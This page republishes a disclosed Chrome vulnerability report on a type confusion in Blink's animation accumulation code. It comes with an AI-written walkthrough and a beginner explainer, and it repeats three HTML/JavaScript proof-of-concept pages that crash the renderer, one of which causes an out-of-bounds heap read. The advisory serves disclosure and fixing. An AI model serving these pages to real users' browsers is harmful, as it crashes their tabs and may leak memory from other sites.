Skip to content
Memory corruption Advisory Advanced CVE-2026-79209

Type confusion in Animation (CVE-2026-79209)

A type confusion in Blink's animation code lets a web page crash the renderer process when a CSS animation uses iterationComposite: 'accumulate' between incompatible value types. One variant, using the clip property, causes an out-of-bounds heap read in release builds.

ochko Follow

Originally disclosed on Chrome VRP

Bounty$8,000 Medium View original
  • Fix shipped in 5 months

Report description

Renderer crash via type confusion in ApplyIterationAccumulation with iterationComposite: 'accumulate'


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://github.com/chromium/chromium


The problem

Please describe the technical details of the vulnerability

Summary

A type confusion in InvalidatableInterpolation::ApplyIterationAccumulation() causes a renderer process crash (CHECK failure) when animating CSS properties between incompatible value types using iterationComposite: 'accumulate'. 26 crash variants across 22 CSS properties were confirmed, including an out-of-bounds heap read via the clip property.

Affected Component

Blink>Animation

Severity

High — Renderer process crash from web content. The clip property variant causes an OOB heap read in release builds (DCHECK compiled out).

Prerequisites

Requires CSSAnimationIterationComposite experimental feature (enabled via chrome://flags/#enable-experimental-web-platform-features or --enable-blink-features=CSSAnimationIterationComposite). This feature is currently "experimental" but planned for stable shipping.

Reproduction

Minimal PoC — margin (CHECK crash)

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></di
<script>
document.getElementById('t').animate(
  [{margin: 'calc(10px + 5%)'}, {margin: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Minimal PoC — clip (OOB heap read in release builds)

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red;position:absolute"></div>
<script>
document.getElementById('t').animate(
  [{clip: 'rect(10px, 50px, 50px, 10px)'}, {clip: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Minimal PoC — aspect-ratio (CHECK crash)

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
  [{aspectRatio: 'auto'}, {aspectRatio: '16/9'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Steps to reproduce

  1. Save any PoC above as an HTML file

  2. Launch Chrome with:

    chrome --enable-blink-features=CSSAnimationIterationComposite
    
  3. Navigate to the HTML file

  4. Renderer process crashes immediately

Crash output

FATAL:third_party/blink/renderer/platform/wtf/casting.h:127
Check failed: IsA<Derived>(from).
  blink_core!blink::InterpolableLength::ScaleAndAdd

All 22 confirmed crashing properties

Type 1: InterpolableLength::ScaleAndAdd CHECK (17 properties)

Property From To
margin-top calc(10px + 5%) auto
margin-left calc(10px + 5%) auto
margin-right calc(10px + 5%) auto
margin-bottom calc(10px + 5%) auto
top calc(10px + 5%) auto
left calc(10px + 5%) auto
right calc(10px + 5%) auto
bottom calc(10px + 5%) auto
perspective 500px none
column-width 100px auto
column-gap calc(10px + 1%) normal
row-gap calc(10px + 1%) normal
vertical-align 10px baseline
contain-intrinsic-width 100px auto
text-underline-offset 5px auto
line-height calc(20px + 0.5em) normal
word-spacing calc(5px + 0.2em) normal

Type 2: InterpolableNumber::Add CHECK (5 properties)

Property From To
z-index 5 auto
column-count 3 auto
font-size-adjust 0.5 none
text-size-adjust 120% auto
line-height 1.5 (number) normal

Type 3: InterpolableNumber type confusion — number vs length (1 property)

Property From To
tab-size 4 (number) 20px (length)

Type 4: InterpolableGridTrackList::Add CHECK (2 properties)

Property From To
grid-template-columns 100px 200px none
grid-template-rows 50px none

Type 5: InterpolableList size mismatch — OOB read (1 property)

Property From To
clip rect(10px, 50px, 50px, 10px) auto

The clip variant is the most dangerous: rect() creates an InterpolableList of size 4, while auto creates size 0. In dcheck_always_on builds this hits a DCHECK. In release builds the DCHECK is compiled out and the code reads 4 elements beyond the empty list's allocation — an out-of-bounds heap read.

Root Cause

InvalidatableInterpolation::ApplyIterationAccumulation() at third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:341-343:

C++
InterpolableValue* result_value = cached_value_->MutableValue().Clone();
result_value->Scale(current_iteration_);
result_value->ScaleAndAdd(1.0, *scaled_end);

This calls ScaleAndAdd without verifying that result_value and *scaled_end have the same concrete InterpolableValue subclass type. When the animation transitions between incompatible value types (e.g., calc() → auto, number → length, rect() → auto), the To<> downcast inside ScaleAndAdd fails the IsA<> check.

The existing fix for crbug.com/467366440 (lines 332-337) added a guard only for the length-vs-length IACVT incompatibility case. It completely missed:

  • Length vs non-length (keyword) mismatches
  • Number vs length mismatches
  • List vs non-list mismatches
  • List size mismatches (clip: rect vs auto)
  • Grid track list mismatches

Suggested Fix

Add a type compatibility check before line 341:

C++
if (!result_value->IsMergeTo(*scaled_end)) {
  return;  // Types are incompatible, skip accumulation
}

Or more conservatively, check IsA<> before each ScaleAndAdd call to ensure both operands have the same concrete type.

Environment

  • Chromium: Built from source (trunk, March 2026)
  • OS: Windows 11 Pro 10.0.26200
  • Build: is_debug=false dcheck_always_on=true is_component_build=true symbol_level=0

Impact analysis

  • Any website with chrome://flags/#enable-experimental-web-platform-features enabled can crash the tab instantly with 3 lines of JavaScript
  • The clip variant reads uninitialized heap memory in production Chrome (DCHECK compiled out) - could leak sensitive data from other sites in the same renderer process
  • When this feature ships to stable (it's planned), every Chrome user becomes vulnerable

The cause

What version of Chrome have you found the security issue in?

Built from trunk (March 2026) + dev/canary with --enable-blink-features=CSSAnimationIterationComposite

Is the security issue related to a crash?

Yes, it is related to a crash.

Choose the type of vulnerability

Other

How would you like to be publicly acknowledged for your report?

ochko

The original report as published on the Chromium issue tracker, by ochko. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Chrome's Web Animations implementation lets a script animate CSS properties with Element.animate(). One of the options it accepts is iterationComposite, which controls how the result of one iteration of an animation feeds into the next. With iterationComposite: 'accumulate', each iteration's value is added on top of the accumulated value from the previous iterations rather than simply replacing it.

The report concerns InvalidatableInterpolation::ApplyIterationAccumulation(), the function in Blink that performs that accumulation. The claim is that the function combines two interpolable values without checking that they are the same concrete type, so animating a property between two incompatible value types (for example calc() and auto, a number and a length, or rect() and auto) leads to a failed downcast and a renderer crash. The affected component is Blink>Animation.

The feature is gated behind the CSSAnimationIterationComposite experimental feature. It can be turned on with chrome://flags/#enable-experimental-web-platform-features or with the command line switch --enable-blink-features=CSSAnimationIterationComposite. The report describes the feature as currently "experimental" but planned for stable shipping.

Setup

The researcher built Chromium from source from trunk (March 2026) with the following build configuration:

Text
is_debug=false dcheck_always_on=true is_component_build=true symbol_level=0

The test machine ran Windows 11 Pro 10.0.26200. The issue was also checked against dev and canary builds launched with --enable-blink-features=CSSAnimationIterationComposite.

To reproduce, Chrome must be started with the feature enabled:

Text
chrome --enable-blink-features=CSSAnimationIterationComposite

No account, extension or special page is needed beyond that flag. The only precondition is that the experimental feature is active in the browser running the page.

Finding it

The report shows that iterationComposite: 'accumulate' with animations whose start and end values belong to different value types triggers the bug. The expectation in the animation code is that the accumulated value and the value being added are the same kind of InterpolableValue. When they are not, the To<> downcast inside ScaleAndAdd fails its IsA<> check and the renderer aborts.

The researcher confirmed 26 crash variants across 22 CSS properties, including one variant, on the clip property, that produces an out-of-bounds heap read in release builds. The report rates the issue High: a renderer process crash reachable from web content, with the clip variant reading out of bounds in release builds where the DCHECK is compiled out.

Exploitation

Step 1: Save a proof of concept as an HTML file

The first minimal PoC animates margin from a calc() value to auto:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></di
<script>
document.getElementById('t').animate(
  [{margin: 'calc(10px + 5%)'}, {margin: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

The key parts are the two keyframes with mismatched value types (calc(10px + 5%) and auto), iterationComposite: 'accumulate', and iterationStart: 3 is part of the animation options in the PoC..

A second PoC targets clip, the variant that reads out of bounds in release builds:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red;position:absolute"></div>
<script>
document.getElementById('t').animate(
  [{clip: 'rect(10px, 50px, 50px, 10px)'}, {clip: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Here the start value is a rect() and the end value is auto.

A third PoC targets aspect-ratio:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
  [{aspectRatio: 'auto'}, {aspectRatio: '16/9'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Step 2: Launch Chrome with the feature enabled

Text
chrome --enable-blink-features=CSSAnimationIterationComposite

Step 3: Navigate to the HTML file

The renderer process crashes immediately.

Step 4: Read the crash output

Text
FATAL:third_party/blink/renderer/platform/wtf/casting.h:127
Check failed: IsA<Derived>(from).
  blink_core!blink::InterpolableLength::ScaleAndAdd

The crash output shows the failed IsA<Derived> check in casting.h and InterpolableLength::ScaleAndAdd.

The confirmed crashing properties

The researcher grouped the 22 properties into five failure types.

Type 1, InterpolableLength::ScaleAndAdd CHECK, covers 17 properties:

Property From To
margin-top calc(10px + 5%) auto
margin-left calc(10px + 5%) auto
margin-right calc(10px + 5%) auto
margin-bottom calc(10px + 5%) auto
top calc(10px + 5%) auto
left calc(10px + 5%) auto
right calc(10px + 5%) auto
bottom calc(10px + 5%) auto
perspective 500px none
column-width 100px auto
column-gap calc(10px + 1%) normal
row-gap calc(10px + 1%) normal
vertical-align 10px baseline
contain-intrinsic-width 100px auto
text-underline-offset 5px auto
line-height calc(20px + 0.5em) normal
word-spacing calc(5px + 0.2em) normal

Type 2, InterpolableNumber::Add CHECK, covers 5 properties:

Property From To
z-index 5 auto
column-count 3 auto
font-size-adjust 0.5 none
text-size-adjust 120% auto
line-height 1.5 (number) normal

Type 3, InterpolableNumber type confusion between number and length, covers 1 property:

Property From To
tab-size 4 (number) 20px (length)

Type 4, InterpolableGridTrackList::Add CHECK, covers 2 properties:

Property From To
grid-template-columns 100px 200px none
grid-template-rows 50px none

Type 5, InterpolableList size mismatch leading to an OOB read, covers 1 property:

Property From To
clip rect(10px, 50px, 50px, 10px) auto

The clip variant is the most serious. rect() creates an InterpolableList of size 4, while auto creates one of size 0. In dcheck_always_on builds this trips a DCHECK. In release builds the DCHECK is compiled out and the code reads 4 elements beyond the empty list's allocation, an out-of-bounds heap read.

Root cause

The problem is in InvalidatableInterpolation::ApplyIterationAccumulation() at third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:341-343:

C++
InterpolableValue* result_value = cached_value_->MutableValue().Clone();
result_value->Scale(current_iteration_);
result_value->ScaleAndAdd(1.0, *scaled_end);

ScaleAndAdd is called without verifying that result_value and *scaled_end have the same concrete InterpolableValue subclass type. When the animation moves between incompatible value types, such as calc() to auto, number to length, or rect() to auto, the To<> downcast inside ScaleAndAdd fails the IsA<> check.

An earlier fix for crbug.com/467366440, at lines 332-337, added a guard but only for the length-versus-length IACVT incompatibility case. According to the report it missed:

  • Length versus non-length (keyword) mismatches
  • Number versus length mismatches
  • List versus non-list mismatches
  • List size mismatches (clip: rect versus auto)
  • Grid track list mismatches

Impact

  • Any website can crash the tab instantly with three lines of JavaScript, provided the browser has chrome://flags/#enable-experimental-web-platform-features enabled.
  • The clip variant reads uninitialised heap memory in production Chrome, because the DCHECK is compiled out. The report says this could leak sensitive data from other sites in the same renderer process.
  • When the feature ships to stable, which the report says is planned, every Chrome user becomes vulnerable.

The report rates severity High.

Fix

The report suggests adding a type compatibility check before line 341:

C++
if (!result_value->IsMergeTo(*scaled_end)) {
  return;  // Types are incompatible, skip accumulation
}

Alternatively, and more conservatively, it suggests checking IsA<> before each ScaleAndAdd call so that both operands are known to have the same concrete type.

Variants to test

  1. Other length-to-keyword pairs. Animate any property that accepts both a length and a keyword, such as the margin, inset, gap, perspective, column-width, vertical-align, contain-intrinsic-width, text-underline-offset, line-height and word-spacing cases above, with iterationComposite: 'accumulate' and iterationStart past 1. A positive result is a renderer CHECK failure in InterpolableLength::ScaleAndAdd.
  2. Number-to-keyword pairs. Try z-index, column-count, font-size-adjust, text-size-adjust and numeric line-height against auto or none. A positive result is a CHECK in InterpolableNumber::Add.
  3. Number-to-length pairs. Try tab-size from a number to a length. A positive result is a type confusion between InterpolableNumber and a length type.
  4. Grid track lists. Animate grid-template-columns or grid-template-rows from a track list to none. A positive result is a CHECK in InterpolableGridTrackList::Add.
  5. List size mismatches. Animate clip from rect() to auto in a release build without DCHECKs. A positive result is an out-of-bounds heap read rather than a clean crash.
  6. Other list-valued properties.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make Google Chrome's browser tab crash using only a few lines of JavaScript on a web page. The crash happens in the part of Chrome that draws animations, the smooth movement or fading of things on a page. When a page asks Chrome to animate a CSS property (a visual setting such as a margin or a colour) from one kind of value to a completely different kind of value, and asks Chrome to "accumulate" the animation over several rounds, Chrome gets confused about what type of value it is holding. It then tries to treat one kind of value as if it were another, fails a safety check, and the tab dies.

That kind of mistake has a name: a type confusion. Imagine a form where one box expects a number and another expects a word. If the program accidentally puts a word into the number box and later tries to do arithmetic with it, the result is nonsense or a crash. Here Chrome does exactly that with animation values.

Most of the time the result is a clean crash of the tab. But one particular case, animating the clip property, is worse: in the normal version of Chrome that people download, the safety check that would stop the problem is switched off, so Chrome reads memory it should not read. That is called an out-of-bounds read. It could, in principle, expose data belonging to other websites in the same renderer process.

The researcher reported this through Google's Chrome Vulnerability Reward Program (the bug bounty programme for Chrome).

Background you need first

Before walking through the report, here are the ideas it relies on, explained from scratch.

What Chrome is made of

Chrome is not one single program. It is split into several processes, separate programs that the operating system keeps apart. The part that actually reads a web page, runs its JavaScript and draws it is called the renderer process. Keeping the renderer separate is a security design: if a website manages to break the renderer, it should not automatically get access to your whole computer. A crash in the renderer usually means one tab dies, not the whole browser.

What Blink is

Blink is the name of Chrome's rendering engine, the large body of code that turns HTML, CSS and JavaScript into what you see. When the report says the affected component is Blink>Animation, it means the animation part of Blink.

What CSS is

CSS (Cascading Style Sheets) is the language used to describe how a web page looks: sizes, colours, spacing, position. Each setting is called a property, for example margin (space around an element), width, or clip (which part of an element is shown). A property has a value, such as 10px (ten pixels) or auto (let the browser decide).

What JavaScript and the Web Animations API are

JavaScript is the programming language that runs inside web pages and can change the page while you look at it. An API (Application Programming Interface) is a set of commands one program offers to another. The Web Animations API is the set of JavaScript commands that let a page animate CSS properties smoothly over time, instead of just jumping from one value to another.

The main command is Element.animate(). You give it a list of keyframes (the values the property should have at particular moments) and some options (how long the animation lasts, whether it repeats, and so on).

What iterationComposite and accumulation mean

An animation can repeat several times; each repeat is called an iteration. The option iterationComposite decides what happens to the value at the start of each new iteration. With the setting 'accumulate', each iteration's value is added on top of the total from the previous iterations, rather than simply replacing it. Think of a runner doing laps: with accumulate, each lap's distance is added to the total already run, instead of the counter resetting to zero.

iterationStart tells the animation at which point in its sequence to begin. Setting iterationStart: 3 means the animation starts as if three iterations have already happened, so the accumulation code actually runs. fill: 'forwards' means that after the animation finishes, the final value stays applied to the element.

What a type, a downcast and a CHECK are

In a program, a type is the kind of data a value is: a whole number, a piece of text, a length in pixels, a list of things. Chrome stores animation values in classes with names like InterpolableLength (a length), InterpolableNumber (a plain number) and InterpolableList (a list of values).

A downcast is when the program takes a general value and asserts "this is really one of these specific types". Chrome does this with a helper called To<>, which first checks with IsA<> whether the value really is the expected type. If the check fails, the program stops immediately with a CHECK failure (also called a DCHECK in debug builds). A CHECK is a deliberate safety stop: better to crash than to carry on with nonsense.

What a DCHECK is, and why release builds matter

A DCHECK is a check that is only compiled into special debugging builds of Chrome. In the normal release build that ordinary users download, DCHECKs are removed to make the browser faster. That is why the clip case is dangerous: the check that would have stopped it is simply not there in the version you and I use.

What an out-of-bounds read is

Programs store data in memory in blocks. An out-of-bounds read means the program reads past the end of a block it was given, into memory that belongs to something else. It does not necessarily crash; it may just quietly return whatever happens to be there. If that memory contains data from another website, and the page can somehow observe it, that is an information leak.

What a feature flag is

A feature flag is a switch inside the browser that turns an unfinished feature on or off. Chrome has a hidden settings page, chrome://flags, where testers can flip these switches. The feature in this report, CSSAnimationIterationComposite, is controlled by the broader flag chrome://flags/#enable-experimental-web-platform-features. There is also a command-line switch, --enable-blink-features=CSSAnimationIterationComposite, that does the same thing when Chrome is started from a terminal. The report says the feature is currently marked "experimental" but is planned to ship to everyone eventually.

The setup the researcher used

The researcher did not just use the Chrome you download. They built Chromium from source. Chromium is the open-source project that Chrome is built from; building it means compiling the whole browser yourself from the code at github.com/chromium/chromium. They used the latest development code, called trunk, from March 2026, with this build configuration:

Text
is_debug=false dcheck_always_on=true is_component_build=true symbol_level=0

Line by line:

  • is_debug=false means this is a release-style build, not a slow debugging build.
  • dcheck_always_on=true forces the safety checks (DCHECKs) to stay switched on even in this release-style build. That is how the researcher could see the clean CHECK crashes.
  • is_component_build=true builds Chrome as many separate shared libraries, which is faster to rebuild while developing.
  • symbol_level=0 leaves out debugging symbols, making the build smaller and quicker.

The test machine ran Windows 11 Pro 10.0.26200. The researcher also checked the issue against the dev and canary channels, the early test versions of Chrome that receive new features before the stable version.

To reproduce, Chrome has to be started with the feature turned on:

Text
chrome --enable-blink-features=CSSAnimationIterationComposite

This is a terminal command. chrome is the browser program, and everything after it is a command-line switch, an instruction passed to the program at the moment it starts. This particular switch tells Blink to switch on the CSSAnimationIterationComposite feature. No account, extension or special page is needed beyond that. The only precondition is that the feature is active in the browser that opens the page.

How the researcher found it

The report shows that iterationComposite: 'accumulate' with animations whose starting and ending values belong to different types triggers the bug. The animation code assumes that the value accumulated so far and the new value being added are the same kind of InterpolableValue. When they are not, the To<> downcast inside a function called ScaleAndAdd fails its IsA<> check, and the renderer stops.

In total the researcher confirmed 26 crash variants across 22 CSS properties, including the clip variant that produces an out-of-bounds heap read in release builds. The report rates the issue High: a renderer crash reachable from web content when the feature is enabled, with the clip case reading out of bounds where the DCHECK is compiled out.

Reproducing it, step by step

Step 1: Save a proof of concept as an HTML file

A proof of concept (PoC) is a small, minimal example that demonstrates a bug. The first one animates margin from a calc() value to auto:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></di
<script>
document.getElementById('t').animate(
  [{margin: 'calc(10px + 5%)'}, {margin: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Line by line:

  • <!DOCTYPE html> tells the browser this is an HTML page.
  • <div id="t" style="width:200px;height:200px;background:red"></di creates a red box 200 by 200 pixels and gives it the name t so JavaScript can find it. Note that the closing tag is written </di rather than </div; that is how it appears in the report, and browsers are forgiving about it.
  • <script> starts a block of JavaScript.
  • document.getElementById('t') finds the box by its name.
  • .animate(...) starts an animation on it. The first argument is the list of keyframes: the margin starts at calc(10px + 5%) (a calculated value mixing a fixed 10 pixels with 5 percent of the container) and ends at auto (let the browser choose). These two are different types of value, which is the whole point.
  • The second argument holds the options: duration: 100 means 100 milliseconds; iterationComposite: 'accumulate' turns on the accumulation behaviour; iterationStart: 3 is one of the animation options in the PoC.;
  • </script></body></html> closes the page.

A second PoC targets clip, the variant that reads out of bounds in release builds:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red;position:absolute"></div>
<script>
document.getElementById('t').animate(
  [{clip: 'rect(10px, 50px, 50px, 10px)'}, {clip: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

This is the same structure, with two differences. The box is given position:absolute. And the animated property is clip, going from rect(10px, 50px, 50px, 10px) (a rectangle described by four lengths) to auto (no clipping). A rect() value is stored internally as an InterpolableList of size 4, while auto is stored as one of size 0. That size difference is what causes the out-of-bounds read.

A third PoC targets aspect-ratio, the relationship between an element's width and height:

HTML
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
  [{aspectRatio: 'auto'}, {aspectRatio: '16/9'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Here the animation goes from auto to 16/9, again two different kinds of value, with the same accumulation options.

Step 2: Launch Chrome with the feature enabled

Text
chrome --enable-blink-features=CSSAnimationIterationComposite

Without this switch the feature is off. The switch is the key that unlocks the unfinished code path.

Step 3: Navigate to the HTML file

Open the saved file in that Chrome window. The renderer process crashes immediately.

Step 4: Read the crash output

Text
FATAL:third_party/blink/renderer/platform/wtf/casting.h:127
Check failed: IsA<Derived>(from).
  blink_core!blink::InterpolableLength::ScaleAndAdd

Line by line:

  • FATAL: marks a fatal error, one the program cannot continue past.
  • third_party/blink/renderer/platform/wtf/casting.h:127 is the file and line number where the safety check lives. casting.h is the code that handles converting one type to another.
  • Check failed: IsA<Derived>(from). is the message of the failed check: the program asked "is this value really of the expected type?" and the answer was no.
  • blink_core!blink::InterpolableLength::ScaleAndAdd is the function on the stack where it happened: the length type's ScaleAndAdd function.

The 22 properties that crash

The researcher grouped the 22 properties into five failure types, depending on which internal function fails.

Type 1: InterpolableLength::ScaleAndAdd CHECK (17 properties)

These are all cases where a length-like value meets a keyword such as auto, none, normal or baseline:

Property From To
margin-top calc(10px + 5%) auto
margin-left calc(10px + 5%) auto
margin-right calc(10px + 5%) auto
margin-bottom calc(10px + 5%) auto
top calc(10px + 5%) auto
left calc(10px + 5%) auto
right calc(10px + 5%) auto
bottom calc(10px + 5%) auto
perspective 500px none
column-width 100px auto
column-gap calc(10px + 1%) normal
row-gap calc(10px + 1%) normal
vertical-align 10px baseline
contain-intrinsic-width 100px auto
text-underline-offset 5px auto
line-height calc(20px + 0.5em) normal
word-spacing calc(5px + 0.2em) normal

Type 2: InterpolableNumber::Add CHECK (5 properties)

These are plain numbers meeting a keyword:

Property From To
z-index 5 auto
column-count 3 auto
font-size-adjust 0.5 none
text-size-adjust 120% auto
line-height 1.5 (number) normal

Type 3: InterpolableNumber type confusion, number versus length (1 property)

Property From To
tab-size 4 (number) 20px (length)

Here a bare number meets a length with units, and the code confuses the two.

Type 4: InterpolableGridTrackList::Add CHECK (2 properties)

Property From To
grid-template-columns 100px 200px none
grid-template-rows 50px none

These are grid layouts, where the property describes a list of column or row sizes, meeting none.

Type 5: InterpolableList size mismatch, out-of-bounds read (1 property)

Property From To
clip rect(10px, 50px, 50px, 10px) auto

The clip variant is the most serious. rect() creates an InterpolableList of size 4, while auto creates one of size 0. In builds with dcheck_always_on this trips a DCHECK. In release builds the DCHECK is compiled out and the code reads 4 elements beyond the empty list's allocation, an out-of-bounds heap read.

The root cause

The problem is in a function called InvalidatableInterpolation::ApplyIterationAccumulation(), at third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:341-343:

C++
InterpolableValue* result_value = cached_value_->MutableValue().Clone();
result_value->Scale(current_iteration_);
result_value->ScaleAndAdd(1.0, *scaled_end);

Line by line:

  • The first line makes a copy of the value accumulated so far, so it can be modified safely. Clone() means "make a duplicate".
  • The second line scales that value by the current iteration number, which is part of how accumulation works.
  • The third line adds the end value on top, using ScaleAndAdd. This is the dangerous call: it does not first check that result_value and *scaled_end are the same concrete kind of InterpolableValue. When the animation moves between incompatible types, such as calc() to auto, number to length, or rect() to auto, the To<> downcast inside ScaleAndAdd fails its IsA<> check.

An earlier fix, for a bug tracked as crbug.com/467366440 at lines 332-337, added a guard, but only for one narrow case: a length meeting another length in a particular invalid situation (the report calls this the length-versus-length IACVT incompatibility). According to the report, it missed:

  • Length versus non-length (keyword) mismatches
  • Number versus length mismatches
  • List versus non-list mismatches
  • List size mismatches (clip: rect versus auto)
  • Grid track list mismatches

Impact

  • Any website can crash the tab instantly with three lines of JavaScript, provided the browser has chrome://flags/#enable-experimental-web-platform-features enabled.
  • The clip variant reads uninitialised heap memory in production Chrome, because the DCHECK is compiled out. The report says this could leak sensitive data from other sites in the same renderer process.
  • When the feature ships to stable, which the report says is planned, every Chrome user becomes vulnerable.

The report rates severity High.

The suggested fix

The report suggests adding a type compatibility check before line 341:

C++
if (!result_value->IsMergeTo(*scaled_end)) {
  return;  // Types are incompatible, skip accumulation
}

Line by line:

  • if (!result_value->IsMergeTo(*scaled_end)) asks whether the two values can be merged together. The ! means "not", so this branch runs when they cannot.
  • return; leaves the function immediately, skipping the accumulation step that would have crashed.
  • // Types are incompatible, skip accumulation is a comment explaining why.

Alternatively, and more conservatively, the report suggests checking IsA<> before each ScaleAndAdd call so that both operands are known to have the same concrete type.

Variants worth testing

If you are learning how this kind of bug is explored, these are the directions the report lists. Each is a variation on the same theme: give the animation two values of different types and turn on accumulation.

  1. Other length-to-keyword pairs. Animate any property that accepts both a length and a keyword, such as the margin, inset, gap, perspective, column-width, vertical-align, contain-intrinsic-width, text-underline-offset, line-height and word-spacing cases above, with iterationComposite: 'accumulate' and iterationStart past 1. A positive result is a renderer CHECK failure in InterpolableLength::ScaleAndAdd.
  2. Number-to-keyword pairs. Try z-index, column-count, font-size-adjust, text-size-adjust and numeric line-height against auto or none. A positive result is a CHECK in InterpolableNumber::Add.
  3. Number-to-length pairs. Try tab-size from a number to a length. A positive result is a type confusion between InterpolableNumber and a length type.
  4. Grid track lists. Animate grid-template-columns or grid-template-rows from a track list to none. A positive result is a CHECK in InterpolableGridTrackList::Add.
  5. List size mismatches. Animate clip from rect() to auto in a release build without DCHECKs. A positive result is an out-of-bounds heap read rather than a clean crash.
  6. Other list-valued properties.

Glossary

  • API (Application Programming Interface): a set of commands one program offers to another so they can work together.
  • Blink: Chrome's rendering engine, the code that turns HTML, CSS and JavaScript into what you see.
  • Bounty: a reward, usually money, paid by a company to someone who reports a security bug responsibly.
  • CHECK / DCHECK: a safety check inside a program that stops it when something impossible has happened. A DCHECK is only present in special debugging builds; in normal release builds it is removed.
  • Chromium: the open-source browser project that Google Chrome is built from.
  • Command-line switch: an instruction passed to a program when it starts, usually typed in a terminal after the program's name.
  • CSS: the language that describes how a web page looks, made of properties and values.
  • CSS property: one visual setting in CSS, such as margin, width or clip.
  • Downcast: converting a general value into a more specific type, after checking that it really is that type.
  • Feature flag: a switch inside a browser that turns an unfinished feature on or off.
  • Heap: the area of memory a program uses for data it creates while running.
  • HTML: the language that describes the structure of a web page.
  • Iteration: one repeat of an animation.
  • iterationComposite: the animation option that decides how each iteration combines with the previous ones; 'accumulate' adds each iteration on top of the total.
  • iterationStart: the animation option that says at which point in its sequence the animation begins.
  • JavaScript: the programming language that runs inside web pages and can change them while you look.
  • Keyframe: a value a property should have at a particular moment in an animation.
  • Out-of-bounds read: reading memory past the end of the block a program was given, into memory that belongs to something else.
  • Process: a separate running program that the operating system keeps isolated from others.
  • Proof of concept (PoC): a small, minimal example that demonstrates a bug.
  • Release build: the normal version of a program that ordinary users download, with debugging checks removed for speed.
  • Renderer process: the part of Chrome that reads a web page, runs its JavaScript and draws it.
  • Trunk: the latest development code of a software project, before it is released.
  • Type: the kind of data a value is, such as a number, a length or a list.
  • Type confusion: a bug where a program treats a value of one type as if it were another, leading to wrong results or a crash.
  • Web Animations API: the set of JavaScript commands, centred on Element.animate(), that animate CSS properties smoothly over time.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.